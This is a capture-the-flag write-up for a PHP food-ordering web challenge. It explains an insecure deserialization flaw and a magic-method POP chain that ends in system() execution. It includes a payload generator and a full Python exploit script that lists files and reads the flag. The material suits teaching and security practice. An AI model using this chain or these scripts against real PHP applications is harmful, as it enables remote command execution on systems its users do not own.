POP Restaurant
Summary
The challenge provides a web application for ordering food (Pizza, Ice Cream, Spaghetti). We are given the source code and a running instance. The goal is to find a vulnerability to read the flag from the server.
Reconnaissance
Application Structure
The application is built with PHP and uses a SQLite database. The file structure is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
/challenge
├── index.php
├── login.php
├── order.php
├── register.php
├── Helpers/
│ ├── ArrayHelpers.php
│ └── CheckAuthentication.php
└── Models/
├── DatabaseModel.php
├── IceCreamModel.php
├── PizzaModel.php
└── SpaghettiModel.php
Source Code Analysis
We start by examining order.php, which handles food orders.
1
2
3
// order.php
$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);
This snippet reveals a critical vulnerability: Insecure Deserialization. The application accepts a base64-encoded string from the data POST parameter and passes it directly to unserialize() without any validation. This allows an attacker to inject arbitrary serialized objects.
To exploit this, we need to find a “POP Chain” (Property Oriented Programming) using the available classes to achieve Remote Code Execution (RCE).
Vulnerability Analysis: Building the POP Chain
We examine the classes defined in Models/ and Helpers/ to find magic methods that can be chained together.
1. The Trigger: PizzaModel.php
The Pizza class has a __destruct() method.
1
2
3
4
5
6
7
8
9
10
11
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
- Trigger:
__destruct()is a PHP magic method automatically invoked when an object is no longer referenced or when the script execution finishes. This serves as the entry point for our chain. - Action: Inside the destructor, the code
echo $this->size->what;attempts to access the property namedwhaton whatever object is stored in the$this->sizeproperty. - Next Step: Since we control the object structure via serialization, we can assign an object to
$this->sizethat does not have awhatproperty. This will force PHP to look for a__get()magic method on that object to handle the access to the undefined property.
2. The Bridge: SpaghettiModel.php
The Spaghetti class has a __get() method.
1
2
3
4
5
6
7
8
9
10
11
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
- Trigger: The
__get($tomato)magic method is invoked because thePizzaclass tried to access the undefinedwhatproperty on thisSpaghettiobject. - Action: The method executes
($this->sauce)();. In PHP, when you treat an object like a function (adding()after it), the language looks for an__invoke()magic method on that object. - Next Step: We need to place an object into the
$this->sauceproperty that implements the__invoke()method. This allows us to jump from a property access context to a method execution context.
3. The Execution: IceCreamModel.php
The IceCream class has an __invoke() method.
1
2
3
4
5
6
7
8
9
10
11
12
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
- Trigger: The
__invoke()magic method is called because theSpaghetticlass tried to execute ourIceCreamobject as if it were a function. - Action: The method runs a
foreachloop over$this->flavors. Theforeachconstruct in PHP works on arrays, but if you pass it an object, it attempts to iterate over that object’s properties or calls its iterator methods if it implements theIteratorinterface. - Next Step: This is the crucial pivot. By setting
$this->flavorsto an object that implementsIterator(or extends a class that does, likeArrayIterator), we can force PHP to call specific iterator methods likecurrent(),next(), orkey()during the loop.
4. The Payload: ArrayHelpers.php
The ArrayHelpers class extends ArrayIterator and overrides current().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace Helpers;
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
- Trigger: The
current()method is implicitly called by theforeachloop inIceCreamModelas it iterates over the object. SinceArrayHelpersextendsArrayIterator, it is a valid target for iteration. - Action: The overridden
current()method callsparent::current()to get the current value, and then executescall_user_func($this->callback, $value).call_user_funcis a powerful PHP function that calls the callback given by the first parameter with the arguments given by the second. - Exploit: This gives us arbitrary code execution. We set
$this->callbackto a system command function (like"system","exec", or"passthru") and the data inside the array (the$value) to the OS command we want to run (e.g.,"id"or"ls -la").
Summary of the Chain
Pizza::__destruct()accesses$this->size->what.$this->sizeis aSpaghettiobject. AccessingwhattriggersSpaghetti::__get().Spaghetti::__get()calls($this->sauce)().$this->sauceis anIceCreamobject. Calling it triggersIceCream::__invoke().IceCream::__invoke()iterates over$this->flavors.$this->flavorsis anArrayHelpersobject containing our command. The iteration triggersArrayHelpers::current().ArrayHelpers::current()executessystem(<command>).
Exploitation
1. Generating the Payload
We create a PHP script to generate the serialized payload. Note that we must respect the namespace Helpers for ArrayHelpers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Helpers {
class ArrayHelpers extends \ArrayIterator {
public $callback = "system";
}
}
namespace {
class Pizza { public $price; public $cheese; public $size; }
class Spaghetti { public $sauce; public $noodles; public $portion; }
class IceCream { public $flavors; public $topping; }
use Helpers\ArrayHelpers;
// Command to execute
$cmd = "ls /";
// Setup the chain
$ah = new ArrayHelpers([$cmd]);
$ic = new IceCream();
$ic->flavors = $ah;
$sp = new Spaghetti();
$sp->sauce = $ic;
$p = new Pizza();
$p->size = $sp;
echo base64_encode(serialize($p));
}
?>
2. Handling Output
When the command runs, the output is printed to the response. However, order.php contains a redirect:
1
2
3
4
if ($result) {
header("Location: index.php");
die();
}
If we follow the redirect, we might miss the output. In HTTP, the body of a 302 Found response can still contain data. We must ensure our exploit script does not follow redirects (allow_redirects=False in Python requests).
3. Finding the Flag
The output of ls / reveals a randomized flag filename (e.g., pBhfMBQlu9uT_flag.txt). We need to parse this filename and then run a second payload to cat it.
Final Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import sys
import subprocess
import re
import os
# Configuration
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <IP> <PORT>")
sys.exit(1)
IP = sys.argv[1]
PORT = sys.argv[2]
BASE_URL = f"http://{IP}:{PORT}"
# PHP Payload Generator
PHP_CODE = r'''<?php
namespace Helpers {
class ArrayHelpers extends \ArrayIterator {
public $callback = "system";
}
}
namespace {
class Pizza { public $price; public $cheese; public $size; }
class Spaghetti { public $sauce; public $noodles; public $portion; }
class IceCream { public $flavors; public $topping; }
$cmd = $argv[1];
$ah = new \Helpers\ArrayHelpers([$cmd]);
$ic = new IceCream(); $ic->flavors = $ah;
$sp = new Spaghetti(); $sp->sauce = $ic;
$p = new Pizza(); $p->size = $sp;
echo base64_encode(serialize($p));
}
'''
def get_payload(cmd):
with open("gen.php", "w") as f:
f.write(PHP_CODE)
res = subprocess.run(['php', 'gen.php', cmd], capture_output=True, text=True)
os.remove("gen.php")
return res.stdout.strip()
# Main Exploit
s = requests.Session()
# 1. Login (Register first if needed, code omitted for brevity)
# ...
# 2. List files to find flag
print("[*] Finding flag...")
payload = get_payload("ls /")
# IMPORTANT: allow_redirects=False to see the output in the 302 body
r = s.post(f"{BASE_URL}/order.php", data={'data': payload}, allow_redirects=False)
flag_file = re.search(r'([A-Za-z0-9]+_flag\.txt)', r.text).group(1)
print(f"[+] Found: {flag_file}")
# 3. Read flag
print("[*] Reading flag...")
payload = get_payload(f"cat /{flag_file}")
r = s.post(f"{BASE_URL}/order.php", data={'data': payload}, allow_redirects=False)
flag = re.search(r'(HTB\{.*?\})', r.text).group(1)
print(f"[+] Flag: {flag}")
Conclusion
By chaining together the properties and magic methods of the Pizza, Spaghetti, IceCream, and ArrayHelpers classes, we were able to turn an insecure deserialization vulnerability into arbitrary code execution. The trickiest part was identifying the use of ArrayIterator to trigger the current() method and handling the HTTP redirect to capture the command output.